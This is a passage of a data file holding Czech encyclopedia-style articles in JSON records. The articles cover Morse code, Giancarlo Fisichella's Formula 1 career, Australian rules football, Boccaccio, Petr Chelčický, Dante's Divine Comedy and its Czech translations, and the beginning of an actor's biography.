zavináče byl oficiálně přidán do Morseovy abecedy v prosinci 2003 na zasedání ITU. Byl prvním přidaným znakem po několika desetiletích. Předchozí znak byl přidán ještě před 2. světovou válkou. Znak pro zavináč vznikl spojením kódů pro \"A\" a \"C\", což je zkratka pro \"at commercial\". Nový kód se oficiálně jmenuje \"commat\" (zkratka pro \"commercial at\", formální anglický název pro zavináč).", "", "Její použití je jednoduché a vhodné zvláště pro děti, které se teprve učí přijímat zprávy. Při čtení postupujeme zleva doprava. Každé políčko představuje část jednoho vyslaného znaku a to podle barvy (tečka nebo čárka) a sloupce (pořadí tečky či čárky ve vysílaném znaku). V následující tabulce představují modrá pole čárku a žlutá tečku. \"Pokud Váš prohlížeč nepodporuje kaskádové styly nebo z jiného důvodu nevidíte barevná políčka, pak vězte, že modré (čárka) je vždy políčko horní (T, M, X, U,...) a žluté (tečka) je políčko spodní (E, I, S, D, Z,...).\"", "Přijato: -..-", "Při vysílání Morseovy abecedy v akustické podobě se používají následující pravidla: Tyto poměry umožňují sluchem zcela spolehlivě rozlišit tečku od čárky i druh akustické pauzy. Za další, poměr celkové doby trvání vysílání tečky nebo čárky včetně pauzy uvnitř značky je 2:1, což usnadňuje udržet konstantní rychlost vysílání. Tempo vysílání je tedy obdobné, jako kdybychom na hudební nástroj tečku hráli jako osminovou notu a čárku jako čtvrťovou notu, pochopitelně pokud předpokládáme, že hrajeme značně staccato. Pro určení rychlosti vysílání se bere jako reference pětipísmenné slovo \"PARIS\" (celkem 10 teček, 4 čárky, 4 mezery). Celková doba jeho odvysílání včetně mezery za slovem je tedy 50 základních jednotek (délek teček). Pokud tedy například hovoříme o tempu vysílání 12 slov za minutu (WPM, \"words per minute\"), odpovídá to právě rychlosti průměrně jednoho písmene (znaku) za sekundu (12*5 = 60 znaků za minutu), délka tečky je 60/(12*50) = 0,1 sekundy.", "Pro předávání zpráv na menší vzdálenosti za přiměřené viditelnosti je možno používat morseovu signální lampu, kdy se nejedná o přenos elektrických impulsů po drátech nebo rádiově ale o přenos pomocí světelného paprsku. Tento způsob se často využívá v lodní dopravě a u vojenských námořních sil. Výhodou je, že vysílání neporuší rádiový klid. Nevýhodou je naopak snadné prozrazení vysílajícího objektu a nutná přímá dohlednost mezi vysílající a přijímací stranou. Protože světelný zdroj (žárovka, výbojka) nelze použít pro rychlé střídání stavu svítí/nesvítí, používá se předsazená clona tvořená několika žaluziemi, které se otevírají/zavírají vysílající obsluhou." ] }

{ "title": [ "Osobní.", "Kariéra před formulí 1.", "Formule 1.", "1996: Minardi.", "1997: Jordan.", "1998–2001: Benetton.", "1998.", "1999.", "2000–2001.", "2002–2003: Jordan.", "2004: Sauber.", "2005–2007: Renault.", "2005.", "2006.", "2007.", "2008–2009 : Force India.", "2008.", "2009.", "2009- : Ferrari.", "2009.", "Kompletní výsledky ve Formuli 1." ], "section_level": [ "1", "1", "1", "2", "2", "2", "3", "3", "3", "2", "2", "2", "3", "3", "3", "2", "3", "3", "2", "3", "2" ], "content": [ "Giancarlo je ženatý se svou manželkou Lunou a spolu mají dvě děti, Carlottu a Christophera. Po třetím místě v Grand Prix Japonska 2006, věnoval Fisichella své umístění svému nejlepšímu příteli, Tonino Viscianimu, který ve čtvrtek před závodem zemřel na selhání srdce.", "Jako většina jezdců F1, začal i Fisichella na motokárách. To bylo v roce 1984 v národním šampionátu minimotokár (60 cm3) a hned v úvodní sezóně byl k neporažení, zvítězil v 12 závodech. O rok později se stal mistrem Itálie ve třídě kadet, a titul dokázal obhájit i v letech 1986 a 1987. V roce 1988 se stal mistrem světa na motokárách. Ve vítězném tažení pokračoval i v roce 1989 a v evropském šampionátu skončil na druhém místě, na mistrovství světa byl až čtvrtý, ale zazářil v prestižním závodě motokár v Hongkongu. V následujících letech skončil pátý v italském mistrovství motokár, na mistrovství Evropy motokár byl druhý a zvítězil v mistrovství formule Alfa. Roku 1992 přešel do závodního vozu RC Motorsport a startoval v Italské Formuli 3 hned ve své první sezóně dokázal zvítězit v Imole a zajistil si tak 8. pozici v celkovém pořadí. V následující sezóně byl již druhý, když dokázal zajet pole position v Monaku a v samotném závodě dojel na druhém místě, navíc obsadil třetí místo na Mistrovství Evropy motokár. Rok 1994 mu přinesl vysněný titul mistra Itálie Formule 3 s 309 body a deseti vítězstvími. V témže roce dokázal zvítězit v Monaku a Macau, které byly výborně obsazenými závody. Navíc v Britském šampionátu formule 3 získával 10 bodů a skončil na 16 místě. V roce 1995 opustil formulové vozy a zkoušel štěstí v cestovních vozech, v seriálu DTM s vozem Alfa Romeo, ale získal pouze 30 bodů a to stačilo jen na 15. místo.", "", "Koncem roku 1995 přišla fantastická nabídka od Minardi k testování vozu. Fisichella svými výkony přesvědčil vedení týmu a v roce 1996 ho Minardi angažovalo jako jezdce. Nejel však ale úplně celou sezónu, Minardi totiž potřebovalo jezdce, který by přinesl nějaké finance a Fisichella byl v průběhu sezóny nahrazen Giovannim Lavaggim. Stihl se věnovat i cestovním vozům a v seriálu ITC s Alfou Romeo skončil na celkovém 6. místě se 139 body.", "Pro rok 1997 ho angažoval Eddie Jordan, do svého týmu Jordan. Fisichellovým týmovým kolegou se stal mladší bratr Michaela Schumachera, Ralf, který byl šampiónem Formule Nippon. A při Grand Prix Kanady vystoupal Fisichella poprvé na stupně vítězů. Na okruhu Hockenheimring měl Fisichella blízko k vítězství, ale střet s Gerhardem Bergerem znamenal konec snu o vítězství, na který si musel počkat ještě šest let. Svůj talent předvedl Fisichella i v deštivém závodě v Belgii, kde skončil druhý za Michaelem Schumacherem. Po tomto závodě, podepsal Fisichella smlouvu pro rok 1998 s týmem Benetton.", "", "Fisichella však nepřišel do týmu Benetton právě ve vhodnou dobu, dodavatel motorů Renault oznámil odchod z F1 a Benetton byl bez motorů. Používal tak vylepšené verze z roku 1997. Přesto ale Fisichella skončil druhý v Kanadě a Monaku, a právě v Kanadě, kdy opět útočil na vítězství, přišel problém s převodovkou, který ho zpomalil. V závodě v Rakousku, získal Fisichella své první pole position. Ale střet s Jeanem Alesim ho stál dobrý výsledek v závodě. V druhé polovině sezóny už se projevila slabost týmu Benetton a Fisichella získal už jen další 2 body.", "Rok 1999 byl v mnoha věcech podobný tomu předchozímu. Opět skončil druhý v Monaku a zase mu jen o vlásek uniklo vítězství. Tentokrát to bylo v Grand Prix Evropy, kde havaroval a odstoupil z prvního místa. Opět se projevila Giancarlova smůla na vítězství, která trvala ještě další čtyři roky, protože závod v Evropě byl asi největší šancí na zisk vítězství.", "Sezóna 2000 opět začala pro Fisichellu velice slibně. Opět dokázal vystoupat na stupně vítězů: byl druhý v Brazílii a třetí v Kanadě a v Monaku. Druhá polovina ale už jako tradičně znamenala úpadek ve výkonu Benettonu a Fisichella už nezískal ani bod. Giancarlo ale zastínil týmového kolegu Alexandera Wurze, který tým po sezóně opustil. Nahradil ho mladý Brit Jenson Button. Dodavatel motorů Renault se opět vrátil k Benettonu, ale vše bylo dohodnuto asi příliš pozdě a tým bojoval v celé sezóně se slabými týmy Minardi a Prost. Fisichella bodoval jen třikrát, ale vystoupil na stupně vítězů ve velké ceně Belgie. To už byl u týmu Mike Gascoyne. Jeho výsledky ale moc Benetton neuspokojily a tak přešel Giancarlo na rok 2002 do týmu Jordan.", "V sezóně 2002 získal Fisichella jen 7 bodů, jelikož Jordan s motory Honda nebyl příliš konkurenceschopný a zlaté časy Frentzena byly nenávratně pryč. Honda přestala Jordanu dodávat motory a pro rok 2003 se stal dodavatelem Ford. Fisichella u týmu zůstal. Stále se však tým nedokázal vyhrabat z chvostu pole. Přesto dokázal Giancarlo poprvé zvítězit. Bylo to v Brazílii, kde se spustil obrovský liják. Závod musel být po kolizi Alonsa s Webberem zastaven a vítězem byl vyhlášen Kimi Räikkönen na McLarenu. Po neshodách, které kolo se vlastně bude počítat jako poslední, byl ale nakonec označen jako vítěz Fisichella a trofej pro vítěze dostal až v dalším závodě v Imole. Ital však dokázal bodovat už jen jednou v sezóně,když skončil sedmý na okruhu Indianapolis.", "Nespokojen s týmem Jordan, odešel Fisichella na rok 2004 do týmu Sauber a doufal, že tady se mu povede lépe, když Sauberu byly dodávány motory Ferrari. Fisichella jezdil po celý rok docela dobře, hodně krát bodoval a porážel celkem pravidelně týmového kolegu Felipe Massu. Tady si ho opět vyhlídl šéf týmu Renault (dříve jako Benetton), Flavio Briatore a podepsal s Fisichellou smlouvu na rok 2005, jako stájový kolega Fernanda Alonsa.", "", "Fisichella hned vyhrál v prvním závodě v Austrálii a vypadalo to na dobrou sezónu. Giancarlo však výrazně zaostával za Alonsem, i kola zajížděl pomalejší. Také ho provázely technické potíže a tak na stupně vítězů vystoupal až ke konci sezóny v Itálii a Japonsku. V Japonsku ale přišel o vítězství až v posledním kole, kde neudržel za zády McLaren Kimiho Räikkönena. Fisichellovy a Alonsovy výsledky však stačily k tomu, aby Renault vyhrál pohár konstruktérů před týmem Ferrari, který dominoval předchozích 6 sezón.", "Rok 2006 opět začal dobře. Fisichella vyhrál v Grand Prix Malajsie 2006, kde startoval z pole position. Ale pak se mu už zase tolik nedařilo, ve dvou kvalifikacích po sobě, skončil až za první desítkou. V Monaku dostal dokonce penalizaci, za blokování Davida Coultharda. To všechno znamenalo, že byl opět zastíněn mladším Fernandem Alonsem. Ale dobré výsledky v druhé polovině sezóny, včetně druhého místa za Alonsem v Grand Prix USA znamenaly, že pro Fisichellu byl rok 2006 nejlepší v F1: skončil čtvrtý v poháru jezdců, s 72 body, jedním vítězstvím a pěti pódiovými umístěními.", "Po odchodu Fernanda Alonsa do McLarenu, se stal Fisichella jedničkou v týmu a dostal k sobě bývalého testovacího jezdce, Fina Heikki Kovalainena. Testovacím jezdcem se stal Nelson Piquet Jr. Tým měl nové sponzory, po zákazu sponzorů tabákových výrobků, a byly předvedeny i nové barvy: bílá, oranžová, tmavě modrá a tradiční žlutá. Renault už ale neprokazoval takovou rychlost jako v předchozích dvou letech. Také se na tom možná podepsala nucená výměna dodavatele pneumatik, když z F1 odešel Michelin a všechny týmy musely přestoupit na pneumatiky Bridgestone. V prvních závodech se Fisichellovi vedlo lépe než nováčkovi a týmovímu kolegovi Kovalainenovi, ale v Kanadě a USA mladý Fin Fisichellu porazil. Už před Španělskou Grand Prix to vypadalo, že Renault už by mohl být konečně rychlejší, ale série problémů s palivem oba jezdce stála dobré umístění. V Kanadě byl Giancarlo diskvalifikován, společně s Felippem Massou, za opuštění pit lane při červeném světle, když se ostatní vozy řadily za safety carem. Později se ukázalo, že Fisichella se vyhýbal ostatním vozům v pit lane a červené světlo nezaregistroval. V druhé polovině sezóny se Giancarlovi už moc nedařilo a byl porážen svým stájovém kolegou Kovalainenem. Celkově byl klasifikován jako osmý, když nasbíral 21 bodů.", "", "Dne 10. ledna 2008 byl oficiálně oznámen podpis nové dvouleté smlouvy mezi jezdcem Giancarlem Fisichellou a indickou stájí Force India. Jeho týmovým kolegou byl Adrian Sutil. Sezóna nezačala pro Fisichellu v podprůměrném týmu zas až tak špatně. Ale po třech solidních umístěních přišly 3 výpadky a dále už jen mizivé výsledky. Force India je bohužel evidentně nejslabším týmem a momentálně není schopný konkurovat kterémukoliv jinému týmu. Jediné pozitivum tak může být vstup do tzv. klubu \"200\". Giancarlo se totiž stal 9. pilotem, který pokořil hranici 200 startů v Grand Prix. Stalo se tak při Grand Prix Monaka 2008.", "Force India a Fisichella se na začátku sezóny docela trápila. Při VC Německa Force India nasadila nové dily. Při VC Belgie přišel zlom, Giancarlo překvapivě v kvalifikaci získává Pole Postion! V závodě dokončuje na 2. místě s malou ztrátou na 1. Kimiho Raikkonena. Po VC Belgii se spekulovalo, že Ferrari projeví o Fisichellu zájem. Stalo se tak týden před VC Itálie. Není jasné, jestli se Fisichella vrátí zpět do Force India.", "", "Po havárii Felipeho Massy a nepříliš podařeném působení testovacího pilota Luky Badoera byl Fisichella povolán od GP Itálie do Ferrari jako náhradník. Tím si Giancarlo splnil dětský sen.", "Tučně – Pole position \"Kurzívou\" – Nejrychlejší kolo závodu <div style=\"float:left;\"" ] }

{ "title": [ "Historie.", "Hřiště.", "Míč.", "Pravidla.", "Australský fotbal v Česku.", "Vítězové ČAAFL ligy." ], "section_level": [ "1", "1", "1", "1", "1", "2" ], "content": [ "Zakladatelem byl Tom Wills v polovině 19. století spojením pravidel fotbalu, irského fotbalu a ragby. První pravidla vyšla v roce 1874. V té době byl v Austrálii sport číslo jedna kriket. Hrál se však pouze během léta a Tom Wills chtěl vymyslet sport, kterým by se hráči kriketu udržovali ve formě i během zimního období. I proto se australský fotbal hraje na stejných hřištích, jako kriket. Až později se australský fotbal zcela odprostil od kriketu a první oficiální liga vznikla roku 1897. V té době se tento sport hrál v podstatě jen ve státě Victoria, proto se liga jmenovala VFL – Victorian Football League. Až roku 1989, poté, co se australský fotbal výrazně rozšířil i do dalších států Austrálie, se tato liga přetransformovala do AFL – Australian Football League, která se hraje dodnes. AFL se používá i jako synonymum ke slovnímu spojení australský fotbal. V současné době hraje AFL 18 týmů a jediný stát Austrálie, který v lize nemá zastoupení, je Severní Teritorium (v podstatě také Tasmánie, ale tam některé týmy hrají několik svých domácích ligových utkání, i když tam přímo nesídlí).", "Hřiště je oválné (kriketový ovál) až 188 m dlouhé a 155 m na středu široké. Na koncích se zužuje k brankám, tvořených ze čtyř sloupků 6,4 m od sebe vzdálených. Jsou nejméně šest metrů vysoké a tvoří jednu vnitřní a dvě vnější branky. Na hřišti je lajnami vykresleno několik území. Před každou brankou je čtverec o hraně 5 metrů, ze kterého se rozehrává po vstřeleném behindu (viz níže). Dále je okolo branek půlkruh o poloměru 50 metrů a kolem středu hřiště další čtverec také o hraně 50 metrů. Nejslavnější hřiště, na kterém se každoročně hraje AFL Grand Final, se jmenuje MCG – Melbourne Cricket Ground a návštěva na tento zápas bývá přes 100 000 lidí.", "Míč má tvar elipsoidu, je těžší a oválnější než ragbyový, hmotnost 453 – 482 g, obvod v délce 75 cm, obvod v šířce 58 cm. Na rozdíl od ragbyového se dodnes šije z kůže bez gripu. Oficiální míče pro AFL přímo z té nejkvalitnější klokaní. Míči se přezdívá Footy, což by se dalo přeložit jako \"fotbálek\". V Austrálii tak nazývají i samotnou hru. Hráči jsou rozestaveni do 3 skupin po 6:", "Zápas začíná rozhozem ve středovém čtverci. Pouze 4 hráči z každého týmu mohou stát při rozehrání v tomto čtverci a o míč se utkávají dva hráči, kteří se nazývají Ruckman. K rozehrání hry takto dochází i po vstřelení gólu. Pokud mužstvo vstřelí behind, hru rozehrává mužstvo, které behind obdrželo od své branky výkopem. Míč smí být chycen rukou a odkopnut, nebo nesen, avšak nejvýše po cca 10 m musí být odražen od země nebo se jí jinak dotknout. Míč se nehází, ale přihrává úderem pěstí podobným, jako je spodní podání ve volejbale. Tento úder se nazývá handball. Na rozdíl od rugby se smí handballem přihrávat kamkoliv. Pokud hráč míč odkopne a tento netečován letí alespoň 15 metrů a je posléze chycen jakýmkoliv jiným hráčem, dostává tento hráč možnost volného přímého kopu. Toto chycení se nazývá Mark. V místě marku může stát protihráč a může hráči, který míč chytil, bránit v rozehrání, ale nesmí se pohnout blíž k němu, než kde došlo k marku, dokud hráč nerozehraje. Hráč, který míč chytil, si může ustoupit nebo rozehrát handballem nebo se s míčem rozeběhnout v ruce. Poté, co se rozeběhne, smí být atakován. Míč se může odkopnout i ze země a ze země může být vstřelen gól. V australském fotbale neexistuje pravidlo o offside. Pokud hráč drží míč, smí být atakován kamkoliv od pasu po ramena. Pokud ho takto protihráč povalí na zem i s míčem, dostává za to možnost volného přímého kopu. Hráče s míčem je také možné na zem stáhnout za dres. Hráč bez míče může být atakován pouze tělem. Hráče s míčem se nesmí strkat ze zadu do zad. Při chytání míče ze vzduchu protihráč nesmí dát ruce mezi hlavu a ruku (tzn. nad rameno) druhého hráče. Hráči australského fotbalu nemají žádné chrániče na těle, používají se pouze chrániče zubů. Holenní či jiné chrániče jsou zakázané. Hráči mohou mít rukavice. V Evropě jsou pravidla přizpůsobena vzhledem k chybějícím velkým oválným hřištím. Zápasy se hrají na rugbyovém hřišti v devíti hráčích na každé straně – systém 3 obránci (střední se nazývá Fullback, postranní Back pockets), 3 záložníci (střední Ruckman – chodí na rozskok, kterým začíná zápas nebo se rozehrává po vstřeleném gólu a dvě postranní křídla – Wings) a 3 útočníci (střední Fullforward, postranní Forward pockets). Každý tým také mívá většinou 5 dalších hráčů na střídačce, přičemž střídat se může neomezeně, podobně jako v hokeji. Hřiště bývá rozděleno na 3 třetiny, přičemž po začátku utkání či čtvrtin a nebo po rozehrání hry po vstřelení gólu, které se děje ve středu hřiště, musí vždy 3 hráči ze všech linií stát v jejich dané třetině hřiště. Všechna ostatní důležitá pravidla jsou nezměněná. S těmito pravidly se v Evropě hrají státní ligy a také každoroční EU Cup. V Evropě však už existují i ligy a týmy, které hrají \"plný\" australský fotbal, například německá AFLG a další.", "Australský fotbal se v Česku začal hrát okolo roku 2005, kdy vznikl i předchůdce dnešní asociace. V současné době v Česku hrají ligu 4 týmy (Prague Cats, Prague Dragons, Prague Kings a Vinohrady Hawks), které sdružuje asociace české australské fotbalové ligy ČAAFL. Liga se u nás hraje od roku 2010. Všechny kluby sídlí v Praze a všechny zápasy se hrají na ragbyovém hřišti RK Petrovice v Praze-Petrovicích.", "Češi mají také svůj národní tým, kterému se hrdě přezdívá Čeští Lvi – Czech Lions. Každoročně již od roku 2007 se tento reprezentační tým zúčastňuje evropského poháru EU Cup, přičemž v roce 2008 ho Česko organizovalo. V roce 2010 vybojoval své první mezinárodní vítězství proti Katalánsku na EU Cupu, který se hrál poblíž italského Milána. Nyní se pilně připravuje na EU Cup 2012, který se bude konat na konci září ve skotském Edinburghu. Mimo EU Cupu hrají Čeští Lvi během roku i spoustu dalších přípravných a přátelských utkání po celé Evropě." ] }

{ "title": [ "Život a dílo.", "Mládí.", "Fiesolské nymfy.", "Dekameron.", "Smrt.", "Dílo." ], "section_level": [ "1", "2", "2", "2", "2", "1" ], "content": [ "", "Byl nemanželský syn. Již v mládí byl otcem poslán do Neapole za obchodem. Díky svému uměleckému nadání se ocitl na dvoře neapolského krále Roberta I. z Anjou, jehož sídlo bylo centrem raného humanismu a renesance. V této době se pro něj stala ideálem královnina nemanželská dcera Marie Aquinská, kterou v roce 1342 opěvoval v díle \"Elegia di Madonna Fiammetta\". Následovaly diplomatické mise v Avignonu a Římě. Studoval práva.", "Roku 1344 napsal básnické dílo \"Fiesolské nymfy\" (původním názvem \"Ninfale Fiesolano\"), do češtiny přebásněno roku 1984 J. Hiršalem, které bylo napsané v oktávách a proslavilo se jako první pastýřský epos v italské literatuře.", "Známý cyklus Dekameron je považován za vrcholné Boccacciovo dílo. Vznikl mezi roky 1348 až 1353. Jedná se o soubor sta novel převážně s erotickým zaměřením. Příběhy jsou ve stejném poměru rozděleny do deseti dní (\"deka\" = deset, hemerá = den); odtud také název cyklu a vypráví je deset mladých lidí (7 žen a 3 muži), kteří utekli z města na venkov, aby se zachránili před morem, který vypukl ve Florencii roku 1348. Katolická církev dílo odsoudila a na Indexu zakázaných knih byl Boccaccio uváděn až do konce 19. století; vyškrtnut z \"Indexu\" byl v roce 1900.", "Slavný básník pracoval až do své smrti 21. prosince 1375 (62 let). Byl pochován v kostele 'Chiesa dei Santi Jacopo e Filippo' v rodném Certaldu.", "Neapolská fáze Léta 1340–1350 Hlavní dílo Pozdní dílo" ] }

{ "title": [ "Život a názory.", "Dílo." ], "section_level": [ "1", "1" ], "content": [ "Pocházel pravděpodobně z nižší venkovské šlechty, zastával názor, že správný křesťanský život může člověk vést pouze prací v zemědělství. To, že mohl žít v letech 1419 - 1421 v Praze, jeho znalosti latiny a čas, který mohl věnovat literatuře, politice a náboženství, nasvědčují tomu, že asi nemohl být prostým poddaným, pracujícím v zemědělství. Ačkoli Chelčický neměl univerzitní vzdělání, měl základní znalosti latiny, byl velice sečtělý, rozsahem a hloubkou svých znalostí vysoce převyšoval naprostou většinu svých současníků. Ve svých literárních dílech vedl kritický dialog s vůdčími mysliteli své doby. Ovlivnilo ho především učení Jana Husa a Jana Viklefa, ale i Tomáše Štítného. Je známo, že osobně navštívil svého učitele Jakoubka ze Stříbra na Betlémské faře a své rozdílné názory na ospravedlnění války zahrnul do svého spisu „O boji duchovním“ (1421). V teologické rozepři dvou proudů husitství, která vyvrcholila diskusí Mikuláše Biskupce z Pelhřimova s Janem Rokycanou, stál Petr Chelčický na straně Biskupcově. Chelčického učení zahrnují myšlenky, které později přijala Jednota bratrská, anabaptisté, kvakeři a baptisté. Byl prvním pacifistickým spisovatelem renesance, který předběhl Erasma Rotterdamského a Menna Simonse téměř o sto let. Ve svých teologických a sociálních názorech byl Petr Chelčický radikální, kritizoval například feudalismus nebo klerikalizaci církve, byl proti náboženskému zdůvodňování války, vystupoval proti trestu smrti atd. Jeho kritika, zdůvodňovaná především texty evangelií, odráží hlubokou sociální a sociologickou myšlenkovou práci i dobrou intuici. Petrovi náboženští dědicové založili ke konci jeho života v Kunvaldu Jednotu bratrskou - intencionálně minoritní křesťanské společenství, které přinejmenším v počátcích připomínalo náboženskou pacifistickou komunu. Spisy Petra Chelčického významně ovlivnily spisovatele a filosofa Lva Tolstého a nepřímo Gándhího, Martina Luthera Kinga, Nelsona Mandelu i T. G. Masaryka. Pro radikalitu svých názorů, které stranily prostému lidu, bývá Petr Chelčický občas označován za prvního českého anarchistického myslitele. Ve spisu \"O trojím lidu\" však v podstatě, jako první, odsuzuje \"třídní boj\".", "Jeho díla jsou obhajobou nenásilí a všeobecnou kritikou světskosti. Psal především traktáty. Veškeré dílo Petra Chelčického je psáno česky. Dále se zachovalo větší množství (přes 50) drobných traktátů, pojednávajících převážně o náboženských otázkách." ] }

{ "title": [ "Název.", "Struktura díla.", "Rozdělení na části.", "Tercíny.", "Děj.", "Peklo a Očistec.", "Ráj.", "Překlady do češtiny.", "Obecně k překladu.", "Překlad Františka Douchy.", "Překlad Jaroslava Vrchlického.", "Překlad Karla Vrátného.", "Překlad Bablera.", "Překlad Vladimíra Mikeše.", "Ukázka díla.", "Čeští panovníci v Božské komedii." ], "section_level": [ "1", "1", "2", "2", "1", "2", "2", "1", "2", "2", "2", "2", "2", "2", "1", "1" ], "content": [ "Název „Božská komedie“ nemá nic společného s Bohem jako takovým; Dante sám své dílo nazýval pouze „Komedie“, čímž tehdy mínil příběh s dobrým koncem. Přízvisko „Božská“ pochází od komentátora a velkého obdivovatele Dantova díla Giovanniho Boccaccia, a je myšleno ve smyslu „skvělá, fantastická“. Podle moderních měřítek na Božské komedii nic komického není. Komedie se jí říká ze zcela jiných důvodů. Ve čtrnáctém století se italská literatura povinně dělila na dvě kategorie: tragédie, zastupující vysokou literaturu, byly psány spisovnou italštinou, a komedie, představující literaturu nižší, byly psány dialektem a mířily spíše k lidovým vrstvám. V době vzniku Dantova díla, se přízvisko komedie používalo pro hry a umělecká díla, která byla určená všeobecné veřejnosti. Tj. zejména pro obyčejné lidi a plebs. Kdežto tragédie byla určena hlavně šlechticům a ctihodným měšťanům. Dantovo dílo, mělo směřovat hlavně obyčejným lidem, aby všichni věděli, jak tesktní po své milované Florencii a své lásce Beatrici.", "", "Dílo je složeno z těchto tří částí (data dokončení nelze vždy považovat za zcela jistá, Božská komedie zřejmě vznikala již od roku 1304). Každá část je rozdělena do 33 zpěvů, pouze Peklo má zpěvů 34, první zpěv (tzv. předzpěv) byl zřejmě původně zamýšlen jako úvodní, ale bývá tradičně řazen do Pekla.", "Dílo je psáno formou tercín (tříveršových strof po 10 nebo 11 slabikách), což je forma, kterou Dante vytvořil pro toto dílo. Božská komedie obsahuje 4611 těchto tercín, k tomu je nutno připojit ještě 200 rýmovaných veršů, které jsou vždy po jednom na začátku a na konci každého zpěvu, celkem má tedy Komedie 14 233 veršů. Tercíny jsou psány v pětistopých jambických verších, kdy schéma rýmu označujeme jako aba, bcb, cdc, ded,... xyx, yzy.", "", "Hlavní postavou je sám autor, který se dostal vlastní vinou do potíží. Těch si v nebi všimla Beatrice Portinari (Danteho ideální žena, jím v minulosti milovaná), která mu na pomoc poslala básníka Vergilia, aby Danteho provedl Peklem a Očistcem. Po cestě se setkává se slavnými osobnostmi minulosti a osobnostmi ze svého vlastního života. Danteho jméno se však v Božské komedii objevuje jen jednou: v XXX. zpěvu Očistce, když Danta musí opustit Vergilius, neboť jako pohan nesmí vstoupit do Ráje (\"„Dante, že Vergil pryč se odebírá, ty neplač proto, neplač proto v žalu...“\").", "Rájem ho provází sama Beatrice, jím v minulosti milovaná žena (Beatrice Portinari), která bývá vykládána jako symbol krásy, dokonalosti, církve, teologie či filozofie. V díle je obecně mnoho různých symbolů, které mohou být různě vykládány.", "", "Překlady tohoto díla se potýkají s mnoha problémy, lze říct, že toto dílo patří mezi ta díla, jejichž překlad je obtížný a na nichž se osobnost překladatele podepíše obrovským způsobem. Vzhledem k formě, jakou je dílo psáno a určitým specifikům italštiny si překladatel musí zvolit, zda zachová formu tohoto díla, pak samozřejmě musí slevit z obsahu díla, anebo zda obětuje rým a překlad pak bývá věrnější, ale dílo je ochuzeno o svoji strukturu. Prakticky ve všech významnějších jazycích existuje řada úplných překladů (doslov českého vydání Božské komedie z roku 1958 uvádí např. 48 úplných překladů v němčině), kdy překladatelé dílo přeložili jako prózu, ale existují i překlady, které velice věrně zachovávají strukturu díla. Velmi časté jsou neúplné (částečné) překlady.", "Do češtiny se toto dílo jako první pokusil přeložit František Doucha, překlad několika zpěvů uveřejnil již roku 1854, tento neúplný překlad nepatří mezi zdařilé ani čtivé.", "První úplný překlad uveřejnil Jaroslav Vrchlický (ve spolupráci se znalcem italských poměrů této doby J. Blokšou), na překladu začal pracovat pravděpodobně v roce 1875 a již roku 1879 vyšel překlad \"Pekla\", o rok později vydal přeložený \"Očistec\" a v r. 1882 vydal \"Ráj\". Jelikož v onu dobu byla česká literatura na vážkách, jaký postoj zaujmout k osobě J. Vrchlického, objevila se řada bezvýhradně kladných kritik, tak kritik opačných. Dnes se většina kritiků přiklání k názoru, že se jednalo o překlad zdařilý, každopádně lze říct, že překlad tohoto díla byla pravděpodobně největší a nejsledovanější literární událostí na české scéně v rozmezí let 1850–1900.", "Dalším významným českým překladem je nerýmovaná, ale velmi přesná verze Karla Vrátného, který na překladu pracoval mezi lety 1906 a 1929.", "Překlad pořízený Ottou Františkem Bablerem a Janem Zahradníčkem. Babler nejprve dílo kompletně přeložil, Zahradníček později provedl na jeho textu rozsáhlé opravy a přepracování. Zejména ve starších pracích není účast Zahradníčka zmiňována a jako překladatel je uváděn Babler sám. Podíl komunistickým režimem krutě pronásledovaného Zahradníčka zůstal totiž nejprve zcela utajen, později Babler snižoval zásluhy již zesnulého Zahradníčka a některé jeho úpravy vracel s odůvodněním, že neměly pro text příliš velký přínos. Zachovaná kopie Zahradníčkových oprav ovšem ukazuje něco jiného. K posouzení sporu mezi Bablerem a Zahradníčkovými dědici byli přizváni František Křelina, Bedřich Fučík, Jan Vladislav, Jan Zábrana, kteří se shodli na tom, že Zahradníčkův podíl byl zásadního charakteru. Jan Vladislav ve svém posudku napsal: „\"Zahradníčkovy úpravy hleděly vytvořit z Bablerova značně zastaralého textu text živý, modernější a dramatičtější (...) do značné míry přispěl i k projasnění smyslu Dantovy skladby.\"“ Vyšel v roce 1952, dnes je nejrozšířenějším a nejcitovanějším českým překladem.", "Božskou komedii přeložil rovněž Vladimír Mikeš, první část jeho překladu byly publikovány v roce 1978 (Peklo), později byl publikován rozsáhlý výbor nejpodstatnějších pasáží přeložených veršem, zatímco ostatní byly nahrazeny krátkým prosaickým shrnutím. Úplné vydání vyšlo až v roce 2009 v nakladatelství Academia. Mikešův překlad vyniká především plynulým, moderním a čtivým jazykem, v současné době je patrně nejčastějším zdrojem citací.", "Následující devítiverší je patrně nejslavnější a nejcitovanější částí díla (zejména poslední verš). V kontextu díla jde o nápis nad branou, kterou se vstupuje do Pekla, nápis svou formou a pojetím navazuje na antickou a středověkou tradici veršovaných nápisů (epigrafů).", "Dante se zmiňuje v sedmém zpěvu části Očistec, po verších věnovaných Rudolfu Habsburskému, o českých králích Přemyslu Otakaru II. a Václavovi II.:" ] }

{ "title": [ "Život." ], "section_level": [ "1" ], "content": [ "V době studia na gymnáziu se s ním rodiče přestěhovali ze Slezska do Prahy. V prosinci roku 1939 složil zkoušky do elévského sboru – soukromé herecké školy E. F. Buriana, založené při jeho slavném divadle D40. K pedagogům zde kromě Buriana patřila např. Lola Skrbková a Nina Jirsíková. Původně se tu chtěl zlepšit v tanci (uměl stepovat a dokonce vedl i taneční kurs), ale Burian si všiml jeho talentu a doporučil mu dráhu hereckou. V sezóně 1939/1940 se začal Brodský objevovat ve sboru v Burianových hrách, prvním samostatným jevištním projevem bylo pak v D41 vystoupení v Zeyerově \"Staré historii\", kde ztvárnil úspěšně několik osob a předmětů, např. muzikanta, nosiče, okno a zámek. Když nacisté v roce 1941 Buriana zatkli a divadlo zavřeli, chvíli ještě setrval ve zde ustanoveném a Františkem Salzerem vedeném \"Divadle Na Poříčí\", třetí scéně Divadla na Vinohradech, později společně s ostatními spolužáky pomohl rozběhnout pololegální divadlo Větrník. Divadlo sídlilo v letech 1941 – 1944 v Divadélku pro 99 ve výstavní síni U Topičů na Národní třídě, v roce 1944 pak krátce v Ženském klubu v ulici Ve Smečkách. Ve Větrníku byli partnery Brodského například Zdeněk Míka, Zdeněk Řehoř, Stella Zázvorková a konzervatoristé Jaromír Pleskot a Radovan Lukavský. Souběžně s působením ve Větrníku hrál i v Pražském dětském divadle Míly Mellanové. V roce 1944 odešel z Větrníku a založil spolu s několika kolegy \"Pražské divadelní studio\", které se však po nezdařené jedné premiéře rozpadlo. Vrátil se zpět do Větrníku a v květnu 1946 odešel s několika herci do Divadla satiry (tehdy ještě 